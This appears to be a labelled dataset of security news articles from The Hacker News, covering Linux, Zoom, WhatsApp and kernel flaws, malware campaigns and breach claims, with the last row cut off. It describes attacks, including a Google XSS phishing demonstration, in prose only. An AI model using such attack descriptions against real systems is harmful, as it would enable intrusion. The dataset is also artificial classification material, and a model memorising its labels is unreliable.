Linux TCP Flaw allows Hackers to Hijack Internet Traffic and Inject Malware Remotely,https://thehackernews.com/2016/08/linux-tcp-packet-hacking.html,"If you are using the Internet, there are the possibilities that you are open to attack.

The Transmission Control Protocol (TCP) implementation in all Linux systems deployed since 2012 (version 3.6 and above of the Linux kernel) poses a serious threat to Internet users, whether or not they use Linux directly.

This issue is troubling because Linux is used widely across the Internet, from web servers to Android smartphones, tablets, and smart TVs.

Researchers have uncovered a serious Internet flaw, which if exploited, could allow attackers to terminate or inject malware into unencrypted communication between any two vulnerable machines on the Internet.

The vulnerability could also be used to forcefully terminate HTTPS encrypted connections and downgrade the privacy of secure connections, as well as also threatens anonymity of Tor users by routing them to certain malicious relays.

The flaw actually resides in the design and implementation of the Request for Comments: 5961 (RFC 5961) – a relatively new Internet standard that's designed to make commonly used TCP more robust against hacking attacks.

TCP protocol is the heart of all Internet communications, as all application level protocols, including HTTP, FTP, SSH, Telnet, DNS, and SMTP, stand on TCP.

Web servers and other applications make use of TCP protocol to establish connections between hosts to transfer data between them.

A team of six security researchers from the University of California, Riverside and the U.S. Army Research Laboratory has demonstrated a proof-of-concept exploit at the USENIX Security Symposium that can be used to detect if two hosts are communicating over TCP and ultimately attack that traffic.

No Need of Man-in-the-Attack Position
Typically, TCP protocol assembles messages into a series of data packets that are identified by unique sequence numbers and transmitted to the receiver. When received, the data packets are then reassembled by the receiver into the original message.

Researchers found that 'Side channels' attack allows hackers to guess the TCP packet sequence numbers accurately within first 10 seconds of the attack by using no more information than just the IP addresses of both parties.

This means, an attacker with spoofed IP address does not need a man-in-the-middle (MITM) position, apparently intercepting and injecting malicious TCP packets between any two arbitrary machines on the Internet.

The researchers detailed their findings in the paper titled, 'Off-Path TCP Exploits: Global Rate Limit Considered Dangerous' [PDF], which they presented at the conference, showing the audience how they injected a phishing form inside the USA Today website.
You can watch the video demonstration above that shows the attack in work.

Targeting the Tor Network

The researchers also show how the flaw (CVE-2016-5696) can be exploited to break Secure Shell (SSH) connections and tamper with encrypted communications traveling over Tor anonymity network.
""In general, we believe that a DoS [Denial of Service] attack against Tor connections can have a devastating impact on both the availability of the service as a whole and the privacy guarantees that it can provide,"" the paper reads.
""The default policy in Tor is that if a connection is down between two relay nodes, say a middle relay and an exit relay, the middle relay will pick a different exit relay to establish the next connection. If an attacker can dictate which connections are down (via reset attacks), then the attacker can potentially force the use of certain exit relays.""
The team also provided recommendations on how to mitigate the attack.

Here's How to Mitigate TCP Attack

While patches to fix the vulnerability are developed and distributed for the current Linux kernel, as a workaround you can raise the ACK rate limit on your Linux machine or gadget to large values so that it cannot be reached.

For this, you are required to append the following to /etc/sysctl.conf:
net.ipv4.tcp_challenge_ack_limit = 999999999
Once done, use sysctl -p to activate the new rule. You need to perform root to do this.

The researchers also note that while Linux version 3.6 and above are vulnerable to this attack, Windows, OS X and FreeBSD are not believed to be vulnerable because they have not yet fully implemented RFC 5961.

",Malware
Ukrainian Hacker falsely claimed theft of 800 million Credit Card,https://thehackernews.com/2014/03/ukrainian-hacker-falsely-claimed-theft.html,"800 Million US based Credit and Debit cards compromised! Really it's a big number and till now it has not been sized by the cyber security officials but a hacker group claims that they had stolen data on hundreds of millions of U.S. card accounts.

Last week, the hacker group called itself Anonymous Ukraine (Op_Ukraine), said it has seized information pertained to 800 million U.S. credit and debit card accounts, including the cards' data belong to U.S. President Obama and other political figures. The group says the intention behind this data theft is to harm the U.S. economy.

The messages posted on March 24 shows clearly that they were by anti-American. The first message read, ""After the USA showed its true face when she unilaterally decides which of the peoples to live independently and who under the yoke of the Federal Reserve, we decided to show the world who is behind the future collapse of the American banking system. We own all the financial information of the Fed. And even more than you think.""

The post was linked with four text files including the data sets of seven million card account that were from all the four card brands, Visa, MasterCard, Discover and American Express. On this, the four card companies didn't comment until now, AmericanBanker.com reported.

On March 26, Anonymous Ukraine tweeted that it had released account details for five million more credit cards, and the very next day, it posted the details of 20 million more card accounts. Investigators working for Battelle counted a total of 10.2 million card accounts details in these batches.

""I would continue watching posts from the group, and checking their data dumps for validity,"" says Ernest Hampson, technical director for Battelle's cyber intelligence and counterintelligence group.

""It's really important to keep an eye on your enemy, find out what they're interested in, what their motivation is, what their capabilities are. You have to have somebody out there watching the adversarial groups, watching inside these forums where they gather, and discuss and trade research back and forth, and discover where they're going next before they get there.""

The financial data breach has been investigated by two companies, the security provider Risk Based Security and the world's largest nonprofit research and development organization, Battelle. The companies reported that the records produced as evidence of the breach by the group are incomplete, out of date or are fraudulent.

The investigators were also unable to verify the 800 million accounts that the group claimed to have compromised, including those of the VIPs and political figures.

Till now, the data threat doesn't appear to be as serious as the Target breach that occurred during the last Christmas holidays in which hackers were successfully able to obtain 40 million valid current credit cards' details.

But, yet the claims and any further releases of information by the hacker group is need to be revised and investigated, because these kind of claims serve as a reminder for the financial firms of the constant vigilance and collaboration.

",Data_Breaches
Researcher Demonstrates Several Zoom Vulnerabilities at DEF CON 28,https://thehackernews.com/2020/08/zoom-software-vulnerabilities.html,"Popular video conferencing app Zoom has addressed several security vulnerabilities, two of which affect its Linux client that could have allowed an attacker with access to a compromised system to read and exfiltrate Zoom user data—and even run stealthy malware as a sub-process of a trusted application.

According to cybersecurity researcher Mazin Ahmed, who presented his findings at DEF CON 2020 yesterday, the company also left a misconfigured development instance exposed that wasn't updated since September 2019, indicating the server could be susceptible to flaws that were left unpatched.

After Ahmed privately reported the issues to Zoom in April and subsequently in July, the company issued a fix on August 3 (version 5.2.4).

It's worth noting that for some of these attacks to happen, an attacker would need to have already compromised the victim's device by other means. But that doesn't take away the significance of the flaws.


In one scenario, Ahmed uncovered an issue with the Zoom Launcher for Linux that could allow an adversary to run unauthorized software owing to the manner it launches the ""zoom"" executable.

""This breaks all of the protection of application whitelisting, allows malware to run as a subprocess of a trusted vendor (Zoom), and is a bad design/security practice by all means,"" Ahmed said in an analysis.


That's not all. In a similar vein, an attacker with access to the victim's machine can read and exfiltrate Zoom user data and configuration by navigating to the local database and even accessing chat messages stored on the system in plaintext format.

Two other flaws involved an externally accessible Kerberos authentication service (""ca01.idm.meetzoom.us"") and a TLS/SSL issue that lets malware inject custom certificate fingerprints into the local Zoom database.

""This is per user certificate pinning and intentionally allows for the user to allow custom certificates,"" Zoom said of the certificate injection flaw. ""The user can write to their own database, but no other non-root users can. It's common best practice to have user applications run at their privilege level, as requiring Zoom to run as root would introduce unnecessary security risks to Zoom and our customers.""

But it gets more interesting. Ahmed went on to highlight a memory leak vulnerability by exploiting the profile picture feature on Zoom to upload a malicious GIF image, download the rendered file, and extract data from it to leak portions of system memory.


""After an internal investigation, we've concluded that the behavior was not a memory leak but just our image utility's best effort at converting a malformed gif into a jpeg,"" the company said.

Although Ahmed believes this to be a consequence of a known flaw in ImageMagick image conversion software (CVE-2017-15277), Zoom has said it doesn't use the utility to convert GIFs uploaded as profile pictures into JPEG format.


In response to the disclosures, Zoom has taken down the exposed Kerberos authentication server to prevent brute-force attacks, while also acknowledging that it's working on addressing the lack of encryption while storing the chat logs.

It's recommended that users update Zoom to the latest version to mitigate any risk arising out of these issues.

""We thank Mazin for reporting his findings. We have fixed all relevant issues and recommend that users keep their Zoom clients up to date to ensure they receive ongoing security and product updates. Zoom appreciates vulnerability reports from researchers. If you think you've found a security issue with Zoom products, please send a detailed report to security@zoom.us,"" a spokesperson for the company told The Hacker News.

The development came as the company resolved a security flaw last month. It allowed attackers to crack the numeric passcode used to secure private meetings on the platform and eavesdrop on participants.

",Vulnerability
"New Linux Kernel Bug Affects Red Hat, CentOS, and Debian Distributions",https://thehackernews.com/2018/09/linux-kernel-vulnerability.html,"Security researchers have published the details and proof-of-concept (PoC) exploits of an integer overflow vulnerability in the Linux kernel that could allow an unprivileged user to gain superuser access to the targeted system.

The vulnerability, discovered by cloud-based security and compliance solutions provider Qualys, which has been dubbed ""Mutagen Astronomy,"" affects the kernel versions released between July 2007 and July 2017, impacting the Red Hat Enterprise Linux, CentOS, and Debian distributions.

The Mutagen Astronomy vulnerability tracked as CVE-2018-14634, is a type of a local privilege escalation issue—one of the most common issues with operating systems as a whole—and exists in the Linux kernel's create_elf_tables() function that operates the memory tables.

To successfully exploit this vulnerability, attackers need to have access to the targeted system and run their exploit that leads to a buffer overflow, thereby resulting in the execution of malicious code and achieving complete control of the affected system.
According to a security advisory published by Qualys on Tuesday, the security vulnerability can be exploited to escalate privileges to root via a SUID-root binary, but it only works on 64-bit systems.
""This issue does not affect 32-bit systems as they do not have a large enough address space to exploit this flaw. Systems with less than 32GB of memory are unlikely to be affected by this issue due to memory demands during exploitation,"" an advisory released by Red Hat reads.
""Only kernels with commit b6a2fea39318 (""mm: variable length argument support,"" from July 19, 2007) but without commit da029c11e6b1 (""exec: Limit arg stack to at most 75% of _STK_LIM"", from July 7, 2017) are exploitable,"" the Qualys advisory says.
Linux Kernel versions 2.6.x, 3.10.x and 4.14.x, are said to be vulnerable to the Mutagen Astronomy flaw.

While most Linux distributions have backported commit da029c11e6b1 to their long-term-supported kernels to address the issue, Red Hat Enterprise Linux, CentOS, and Debian 8 Jessie (the current ""oldstable"" version) did not implement the changes and therefore, left vulnerable to the attacks.

Proof-of-Concept (PoC) Exploits Released

Qualys reported the vulnerability to Red Hat on August 31, 2018, and to Linux kernel developers on September 18, 2018.

Red Hat, assigned the flaw as ""important"" with a CVSS score of 7.8 (high severity), has patched the issue and begun releasing security updates that address the issue.

""This issue affects the version of the kernel packages as shipped with Red Hat Enterprise Linux 6, 7 and Red Hat Enterprise MRG 2. Future kernel updates for Red Hat Enterprise Linux 6, 7 and Red Hat Enterprise MRG 2 will address this issue,"" Red Hat says.

However, the versions of Linux kernel as shipped with Red Hat Enterprise Linux 5 are not affected by the Mutagen Astronomy vulnerability.

Qualys researchers have also released both technical details and proof-of-concept (PoC) exploits (Exploit 1, Exploit 2) for the vulnerability to the public.
",Vulnerability
New WhatsApp Bug Could Have Let Hackers Secretly Install Spyware On Your Devices,https://thehackernews.com/2019/11/whatsapp-hacking-vulnerability.html,"The recent controversies surrounding the WhatsApp hacking haven't yet settled, and the world's most popular messaging platform could be in the choppy waters once again.

The Hacker News has learned that last month WhatsApp quietly patched yet another critical vulnerability in its app that could have allowed attackers to remotely compromise targeted devices and potentially steal secured chat messages and files stored on them.

The vulnerability — tracked as CVE-2019-11931 — is a stack-based buffer overflow issue that resided in the way previous WhatsApp versions parse the elementary stream metadata of an MP4 file, resulting in denial-of-service or remote code execution attacks.

To remotely exploit the vulnerability, all an attacker needs is the phone number of targeted users and send them a maliciously crafted MP4 file over WhatsApp, which eventually can be programmed to install a malicious backdoor or spyware app on the compromised devices silently.

The vulnerability affects both consumers as well as enterprise apps of WhatsApp for all major platforms, including Google Android, Apple iOS, and Microsoft Windows.

According to an advisory published by Facebook, which owns WhatsApp, the list of affected app versions are as follows:


Android versions before 2.19.274
iOS versions before 2.19.100
Enterprise Client versions before 2.25.3
Windows Phone versions before and including 2.18.368
Business for Android versions before 2.19.104
Business for iOS versions before 2.19.100


The scope, severity, and impact of the newly patched vulnerability appear similar to a recent WhatsApp VoIP call vulnerability that was exploited by the Israeli company NSO Group to install Pegasus spyware on nearly 1400 targeted Android and iOS devices worldwide.

At the time of writing, it's not clear if the MP4 vulnerability was also exploited as a zero-day in the wild before Facebook learned about and patched it.

The Hacker News has reached out to Facebook and WhatsApp for comment and will update the article as soon as we hear back from them.

Meanwhile, if you consider yourself as one of the potential surveillance targets and have received a random, unexpected MP4 video file over WhatsApp from an unknown number in recent months, you should pay more attention to the upcoming developments of this event.

The WhatsApp MP4 vulnerability came just two weeks after Facebook sued the NSO Group for misusing WhatsApp service to target its users.

Also Read: Just a GIF Image Could Have Hacked Your Android Phone Using WhatsApp

However, at least in India, it didn't go well as intended, and the social media giant itself came under scrutiny from the Government who raised questions about the security of its end-to-end encrypted app rather than going after NSO Group for targeting over 100 of its citizens.

For now, it's recommended for all users to make sure they are running the latest version of WhatsApp on their device and disable auto-downloads of images, audio and video files from the app settings.

Update — A spokesperson for the Whatsapp confirmed The Hacker News that the newly reported WhatsApp RCE flaw was not exploited in the wild to target its users.

""WhatsApp is constantly working to improve the security of our service. We make public reports on potential issues we have fixed consistent with industry best practices. In this instance, there is no reason to believe that users were impacted,"" WhatsApp told THN.

",Vulnerability
New Malware Takes Commands From Memes Posted On Twitter,https://thehackernews.com/2018/12/malware-twitter-meme.html,"Security researchers have discovered yet another example of how cybercriminals disguise their malware activities as regular traffic by using legitimate cloud-based services.

Trend Micro researchers have uncovered a new piece of malware that retrieves commands from memes posted on a Twitter account controlled by the attackers.

Most malware relies on communication with their command-and-control server to receive instructions from attackers and perform various tasks on infected computers.

Since security tools keep an eye on the network traffic to detect malicious IP addresses, attackers are increasingly using legitimate websites and servers as infrastructure in their attacks to make the malicious software more difficult to detect.

In the recently spotted malicious scheme, which according to the researchers is in its early stage, the hackers uses Steganography—a technique of hiding contents within a digital graphic image in such a way that's invisible to an observer—to hide the malicious commands embedded in a meme posted on Twitter, which the malware then parses and executes.

Although the internet meme looks a normal image to human eyes, the command ""/print"" is hidden in the file's metadata, which then prompts the malware to send a screenshot of the infected computer to a remote command-and-control server.

Also Read: Hacking With Just An Image — Stegano

Here, the malware, which the researchers named ""TROJAN.MSIL.BERBOMTHUM.AA,"" has been designed to check the attacker's Twitter account and then download and scan meme (image) files for the secret commands.
According to the Trend Micro researchers, the Twitter account in question was created in 2017 and contained only two memes posted on October 25 and 26 that delivered ""/print"" commands to the malware that instructed it to take screenshots.

The malware then sends the screenshots to a command and control server, whose address is obtained through a ""hard-coded"" URL on the Pastebin site.

Besides taking screenshots, the malware can also be given a variety of other commands, such as to retrieve a list of running processes, grab the account name of the logged in user, get filenames from specific directories on an infected machine, and grab a dump of the user's clipboard.

The malware appears to be in the early stages of its development as the pastebin link points to a local, private IP address, ""which is possibly a temporary placeholder used by the attackers.""

It's worth noting that the malware was not downloaded from Twitter itself and the researchers currently haven't found what specific mechanism that was or could be used by attackers to deliver the malware to the victims' computers.

The good news is that the Twitter account used to deliver the malicious memes appears to have been disabled, but it is still not clear who is behind this malware and how the mysterious hacker was circulating the malware.

",Cyber_Attack
Instagram Mobile App Issue Leads to Account Hijacking Vulnerability,https://thehackernews.com/2014/07/instagram-mobile-app-issue-leads-to_27.html,"In the era of Government surveillance, ensuring the security and safety of our private communications regardless of platform – email, VOIP, message, even cookies stored – should be the top priority of the Internet industry. Some industry came together to offer Encryption as the protection against government surveillance, but some left security holes that may expose your personal data.

A critical issue on Instagram's Android Application has been disclosed by a security researcher that could allow an attacker to hijack users' account and successfully access private photos, delete victim's photos, edit comments and also post new images.

Instagram, acquired by Facebook in April 2012 for approximately US$1 billion, is an online mobile photo-sharing, video-sharing and social networking service that enables its users to take pictures and videos, apply digital filters, and share them on a variety of social networking services, such as Facebook, Twitter, Tumblr and Flickr.

USING UNENCRYPTED HTTPS CONNECTION
Instagram's Android Application communicates with its server over an unencrypted HTTP connection, which is susceptible to tampering by anyone in a position to intercept it, Mazin Ahmed, who discovered the vulnerability explained in a blog post.
""I started using the app on my phone, and monitoring the traffic in the network using WireShark, looking for evidence for unencrypted data that goes through the network or a technique to make this data unencrypted (if it was encrypted),"" said Mazin.
INSTAGRAM SESSION HIJACKING
He found that the unencrypted Instagram app communication also vulnerable to session hijacking flaw that can be done using a man-in-the-middle attack, common technique used by attackers to intercept wireless data traffic.

Reusing intercepted HTTP session cookies on another system/browser allows the attacker to hijack the session of the victim's Instagram account.
""As soon as I logged into my account on my phone, Wireshark has captured unencrypted data that goes through HTTP. This data includes: The pictures that the victims watching, The victim's session cookies, the victim's username and ID.""
It is really surprising that the largest social networking giant Facebook ignored such a big issue in its most popular image and video sharing service and failed to take the maximum measure to insure the security of its users.


Mazin, who believes the issue might be getting exploited by the intelligence agencies for the purpose of surveillance, reported the vulnerability to the Facebook on 24th July, but its security team replied: ""Facebook accepts the risk of parts of Instagram communicating over HTTP not over HTTPS.""

Facebook has decided to adopt complete HTTPS for its Instagram mobile application in near future but till now it is not clear that how much time it will take.

",Vulnerability
Exploiting Google persistent XSS vulnerability for phishing,https://thehackernews.com/2012/11/exploiting-google-persistent-xss.html,"Yesterday we have reported that How Bug Bounty programs can play unfair with hackers and researchers, where hackers are submitting their legitimate findings to companies and no surprise if they are getting replies that ""Someone else already reported this, you are not eligible for Bounty"". But the main issue is, if companies are really aware about the issue, then why they have not fixed it yet ?

Today we are going to Talk about Google, that How a ignored vulnerability can be brilliantly crafted and exploited by Hackers for phishing users.
On 11th September this year, I have reported a persistent XSS vulnerability in Google and reply from Google Security Team was,""It seems the XSS you reported actually executes on one of our sandboxed domains (googleusercontent.com). The sandboxed domain does not contain any session cookies for google services, nor does it have access to any Google.com data""

I said its okay if they are sure about it that its not exploitable and on a Sandboxed domain then conversation is over. Now after two months yesterday another Bulgarian hacker going by name ""Keeper"" report me that the vulnerability still working even after multiple submissions to Google. Now I was surprised to see that How Google team can be so seriousness about the security of their users.

I have successfully exploited a Google vulnerability which was ignored by Google itself from last 2 Months.

------------Proof of Concept------------
1.) Phishing Pages Created on Google at Here
2.) User will land to the page having URL in address bar as Google.com/______
3.) Using Cross site scripting vulnerability I generate a Pop-Up that will convince a Google user to believe that their cookies expired and they have to Login again to access next pages (Please do not enter your original username / password)
4.) The Phishing login form is designed using Google service itself and Points to my EVIL server.
5.) Once user will try to Login, all credentials will save here and page will show ""Done"" without any reload.

This phishing page is hosted on same sandbox domain, where attacker can't steal cookies, but its enough to do a perfect phishing. I hope, now Respected Google team will fix it asap after open disclosure with demonstration.

Update: A Google representative quickly reply about the issue and defense them self by saying that ""It can't be used for phishing"" because its hosted on a separate host name. Question from readers : Can't Google see the URL in browser that its ""Google.com/-----"" , potentially enough for phishing .

By definition : Phishing is tricking users to believe that they are on right webpage and the demonstration successfully showed this.

Google also said that hosting such type of content on Google services is violating their services, but please note that we already follow the non-disclosure way two months ago and its enough time to take action for fixing the bug. By disclosing exploitation with demo is now necessary to make them believe that - It WORKS !!

Note for Google : Either Google can call it under ""Same origin policy"" or ""violation of services"" , For an Attacker and a victim your policies are nothing. Even the source of POC is not hosted on Google and we are calling it from our server so we are not violating your any policy. We Respect you and trying to help you to understand the RISK and warning or readers to be aware about such phishing attacks.

",Vulnerability
"Meltdown/Specter-based Malware Coming Soon to Devices Near You, Are You Ready?",https://thehackernews.com/2018/02/meltdown-spectre-malware-hacking.html,"It has been few weeks since the details of the Spectre, and Meltdown processor vulnerabilities came out in public and researchers have discovered more than 130 malware samples trying to exploit these chip flaws.

Spectre and Meltdown are security vulnerabilities disclosed by security researchers earlier this month in many processors from Intel, ARM and AMD used in modern PCs, servers and smartphones, among other devices.

These CPU vulnerabilities could enable attackers to bypass memory isolation mechanisms and access everything, including memory allocated for the kernel containing sensitive data like passwords, encryption keys and other private information.

Researchers from independent antivirus testing firm AV-TEST detected at least 139 malware samples, as of today, which are related to these CPU vulnerabilities, as shown in the growth graph.

You can find SHA256 hashes for all malware samples here.
Meanwhile, cybersecurity firm Fortinet also tracked and analyzed many malware samples 'trying to exploit' recently disclosed CPU vulnerabilities, most of which includes re-compiled or extended version of the JavaScript-based proof-of-concept (PoC) exploit released last month.
""The rate at which the cybercriminal community is targeting known vulnerabilities is clearly accelerating, with the WannaCry and NotPetya exploits serving as perfect examples of the need to patch vulnerable systems as soon as possible,"" Fortinet said.
""Which is why our concerns were raised when we recently learned about some of the largest vulnerabilities ever reported—ones that affect virtually every processor developed since 1995 by chip manufacturers Intel, AMD, and ARM.""

Another news makes this situation, even more, worse—Intel halted all its CPU firmware patches for the Meltdown and Spectre flaws last week after it caused issues like spontaneous reboots and other 'unpredictable' system behaviour on affected PCs.

So, until Intel and other vendors do not come up with stable security patches for the Meltdown and Spectre attacks that don't cause systems to break, users are recommended to keep their operating system, web browsers, antivirus and other software up-to-date.

",Malware
"AutoHotkey-Based Password Stealer Targeting US, Canadian Banking Users",https://thehackernews.com/2020/12/autohotkey-based-password-stealer.html,"Threat actors have been discovered distributing a new credential stealer written in AutoHotkey (AHK) scripting language as part of an ongoing campaign that started early 2020.
Customers of financial institutions in the US and Canada are among the primary targets for credential exfiltration, with a specific focus on banks such as Scotiabank, Royal Bank of Canada, HSBC, Alterna Bank, Capital One, Manulife, and EQ Bank. Also included in the list is an Indian banking firm ICICI Bank.
AutoHotkey is an open-source custom scripting language for Microsoft Windows aimed at providing easy hotkeys for macro-creation and software automation that allows users to automate repetitive tasks in any Windows application.
The multi-stage infection chain commences with a malware-laced Excel file that's embedded with a Visual Basic for Applications (VBA) AutoOpen macro, which is subsequently used to drop and execute the downloader client script (""adb.ahk"") via a legitimate portable AHK script compiler executable (""adb.exe"").
The downloader client script is also responsible for achieving persistence, profiling victims, and downloading and running additional AHK scripts from command-and-control (C&C) servers located in the US, the Netherlands, and Sweden.
What makes this malware different is that instead of receiving commands directly from the C&C server, it downloads and executes AHK scripts to accomplish different tasks.
""By doing this, the attacker can decide to upload a specific script to achieve customized tasks for each user or group of users,"" Trend Micro researchers said in an analysis. ""This also prevents the main components from being revealed publicly, specifically to other researchers or to sandboxes.""
Chief among them is a credential stealer that targets various browsers such as Google Chrome, Opera, Microsoft Edge, and more. Once installed, the stealer also attempts to download an SQLite module (""sqlite3.dll"") on the infected machine, using it to perform SQL queries against the SQLite databases within browsers' app folders.
In the final step, the stealer collects and decrypts credentials from browsers and exfiltrates the information to the C&C server in plaintext via an HTTP POST request.
Noting that the malware components are ""well organized at the code level,"" the researchers suggest the inclusion of usage instructions (written in Russian) could imply a ""hack-for-hire"" group that's behind the attack chain's creation and is offering it to others as a service.
""By using a scripting language that lacks a built-in compiler within a victim's operating system, loading malicious components to achieve various tasks separately, and changing the C&C server frequently, the attacker has been able to hide their intention from sandboxes,"" the researchers concluded.

",Cyber_Attack
SIM Cards in 29 Countries Vulnerable to Remote Simjacker Attacks,https://thehackernews.com/2019/10/simjacker-vulnerability-exploit.html,"Until now, I'm sure you all might have heard of the SimJacker vulnerability disclosed exactly a month ago that affects a wide range of SIM cards and can remotely be exploited to hack into any mobile phone just by sending a specially crafted binary SMS.

If you are unaware, the name ""SimJacker"" has been given to a class of vulnerabilities that resides due to a lack of authentication and proprietary security mechanisms implemented by dynamic SIM toolkits that come embedded in modern SIM cards.

Out of many, two such widely used SIM toolkits — S@T Browser technology and Wireless Internet Browser (WIB) — have yet been found vulnerable to SimJacker attacks, details of which we have provided in our previous articles published last month.

At that time, a few experts in the telecom industry confirmed The Hacker News that the SimJacker related weaknesses were internally known to many for years, and even researchers also revealed that an unnamed surveillance company has been exploiting the flaw in the wild to spy on its targets.

Cybersecurity researchers at Adaptive Mobile Security have now released a new report, revealing more details about the SimJacker attacks and trying to address some important unanswered questions, like the number of affected operators and countries, along with details on attacks spotted in the wild.

1 - List of Affected Countries

Though the researchers did not name the affected mobile operators to prevent attackers from taking advantage of the disclosed vulnerability, they did reveal the names of countries where the vulnerable SIMs are still in use.


According to the report, the list includes 29 affected countries across five continents, where customers of a total of 61 mobile operators are actively using vulnerable SIMs with S@T Browser toolkit:

North America: Mexico, Guatemala, Honduras, Costa Rica, Nicaragua, Belize, El Salvador, Dominican Republic, and Panama.
South America: Peru, Colombia, Brazil, Ecuador, Chile, Argentina, Uruguay, and Paraguay.
Africa: Nigeria, Ghana, Benin, Ivory Coast, and Cameroon.
Europe: Italy, Bulgaria, and Cyprus.
Asia: Saudi Arabia, Iraq, Palestine and Lebanon.

""The most probable, conservative estimate is that mid to high hundreds of millions of SIM Cards globally are affected,"" the researchers said.


On the other hand, there are only 8 mobile operators in 7 countries who are actively using the vulnerable WIB toolkit on their SIM Cards. These countries are spread across Eastern Europe, Central America, Asia, and West Africa.

2- SimJacker Attacks in the Wild

According to the researchers, an unnamed surveillance company—active from at least 2015 and known for targeting users from multiple countries over the SS7 network—has been exploiting the SimJacker vulnerability to gather intelligence on its targets.

It all started when researchers detected unusual and suspicious SMS events in the last quarter of 2018, and when actively monitored, they recorded nearly 25,000 Simjacker messages attempted to be sent to 1500 unique mobile devices in a period of 30 days.

The primary targets were Mexican mobile users, while a small number of attacks were also observed against mobile phone subscribers from Colombia and Peru, with an aim to obtain both location Information and unique IMEI identifiers.

""We believe that prior to the discovery, they would have successfully tracked the location of many thousands of mobile subscribers over months and probably years,"" the researchers said.

""We also observed the attacker experiment over time with new potential forms of attack using the vulnerability. The number, scale, and sophistication of modifications of the attack are significantly beyond what we have witnessed from any attacker over mobile networks.""


Researchers observed over 860 Simjacker attack sub-variants in the actual SMS Packet that were sent from at least 70 attacker-controlled mobile numbers.

Besides this, researchers also observed that the attackers were attempting to use dedicated SS7 attacks against some users in case SimJacker attacks failed.

3. How to Prevent Yourself from SimJacker Attacks

Unfortunately, there is no simple way for mobile subscribers to know whether a vulnerable SIM browser toolkit is deployed on their SIM card or not.

Though there are apps available, like SnoopSnitch, that you can download from Google Play Store to detect attacks based on suspicious binary SMS, it requires your Android device to be rooted and even knowing that won't help you much.

That's because, as a potential victim, there's very little you can do to protect yourself, except wait for your mobile operator to implement security measures or simply migrate your phone number to a different safe network, if available, which will provide you with a new SIM card.

Meanwhile, GSM Association (GSMA), a trade body that represents the interests of mobile operators worldwide, has provided some of the best ways to prevent and block these attacks to protect billions of mobile phone users worldwide.

In addition, the SIMalliance has also made some updates to its S@T browser specifications to improve the security of the SIM toolkits, and provided recommendations for SIM card manufacturers to implement security for S@T push messages.

",Vulnerability
Apache Server 2.3.14 Denial of Service (DDOS) Vulnerability exploit,https://thehackernews.com/2011/10/apache-server-2314-denial-of-service.html,"Apache Server 2.3.14 Denial of Service (DDOS) Vulnerability exploit


Latest version of Apache Server 2.3.14 fails.The Egyptian Hacker and Exploit writer ""Xen0n"" discovered this Vulnerability and Develop an perl exploit for (DDOS) Vulnerability. The Exploit is available on Inj3ct0r's Website.

",Vulnerability
2 Hackers Charged for Defacing Sites after U.S. Airstrike Killed Iranian General,https://thehackernews.com/2020/09/soleimani-website-hacking.html,"The US Department of Justice (DoJ) on Tuesday indicted two hackers for their alleged involvement in defacing several websites in the country following the assassination of Iranian major general Qasem Soleimani earlier this January.

Behzad Mohammadzadeh (aka Mrb3hz4d), 19, and Marwan Abusrour (aka Mrwn007), 25, have been charged with conspiracy to commit intentional damage to a protected computer for a widespread ""cyber-assault"" that affected over 1,400 websites with pro-Iranian and pro-Palestinian messages.

""The hackers victimized innocent third parties in a campaign to retaliate for the military action that killed Soleimani, a man behind countless acts of terror against Americans and others that the Iranian regime opposed,"" said Assistant Attorney General for National Security John C. Demers in a statement.

The defendants, from Iran and Palestine, respectively, are now wanted by the US authorities and are no longer free to travel outside their countries without risking an arrest.

Although Abusrour and Mohammadzadeh have been behind a defacing spree individually on their own over the last couple of years, they began to work together starting last December, before stepping up their attacks on January 3, a day after the US forces killed Qassem Soleimani in a drone airstrike near Baghdad International Airport.

With help from Abusrour, who provided Mohammadzadeh with access to compromised websites, the latter went on to hack into at least 51 websites in the US by replacing their content with pictures of the late general against a background of the Iranian flag along with the message ""Down with America,"" alongside ""Suleimani was not a person/he was a belief/Beliefs never die.""


In addition, visitors of the defaced websites were directed to Mohammadzadeh's Telegram and public Instagram account, which subsequently redirected users to Zone-H, a security portal that holds an archive of all web intrusions, linking the exploits to his pseudonym ""Mrb3hz4d.""

The indictment also highlighted a screenshot of the messages shared between the two individuals and posted on Abusrour's Instagram account that revealed the list of seven websites that were broken into, and noted that the hackers posted the results of their work on social media and other online accounts in order to publicize their defacements.

The two hackers have now been charged and risk sentences of up to 10 years in prison and fines of up to $250,000, if found guilty, according to the DoJ.

""Foreign hackers are a persistent commercial and national security threat to the United States,"" said US Attorney Andrew E. Lelling. ""Working with our law enforcement partners worldwide, we will aggressively pursue, prosecute and apprehend those who use the internet to attack American interests.""
",Cyber_Attack
Rogue Antivirus advertised on 200000 hacked Web pages,https://thehackernews.com/2012/03/rogue-antivirus-advertised-on-200000.html,"Rogue Antivirus advertised on 200000 hacked Web pages

The Websense has detected a new wave of mass-injections of a well-known rogue antivirus campaign, a new mass injection attack has infected over 200,000 Web pages, amounting to close to 30,000 unique Web hosts.

The attack uses SQL injection techniques to insert a rogue script element. Users who land on one of the compromised pages get redirected through several domains and finally land on a scareware site. These sites mimic antivirus scans and tell visitors their computers are infected with malware in an attempt to convince them to download fake security programs. The programs display even more false warnings and ask users to pay for a license in order to clean their machines.

The page looks like a Windows Explorer window with a ""Windows Security Alert"" dialogue box in it. The fake antivirus then prompts visitors to download and run their ""antivirus tool"" to remove the supposedly found Trojans. The executable is itself the Trojan.

More than 85% of the compromised website are located in the United States. This doesn't mean that only US internauts are exposed to this threat, the sites being also visited by individuals from Turkey, Brazil, UK, India, China, South Africa, Jordan, Canada, Philippines and Taiwan.

Mass injection attacks are a common malware infection vector. The hackers exploit the trust users associate with the infected sites in order to push scareware or launch drive-by downloads. In other circumstances, the search engine rank of compromised sites can be exploited to poison search results for popular keywords with malicious links in what is known as black hat SEO attacks.

",Malware
Destructive and MiTM Capabilities of VPNFilter Malware Revealed,https://thehackernews.com/2018/06/vpnfilter-router-malware.html,"It turns out that the threat of the massive VPNFilter botnet malware that was discovered late last month is beyond what we initially thought.

Security researchers from Cisco's Talos cyber intelligence have today uncovered more details about VPNFilter malware, an advanced piece of IoT botnet malware that infected more than 500,000 routers in at least 54 countries, allowing attackers to spy on users, as well as conduct destructive cyber operations.

Initially, it was believed that the malware targets routers and network-attached storage from Linksys, MikroTik, NETGEAR, and TP-Link, but a more in-depth analysis conducted by researchers reveals that the VPNFilter also hacks devices manufactured by ASUS, D-Link, Huawei, Ubiquiti, QNAP, UPVEL, and ZTE.

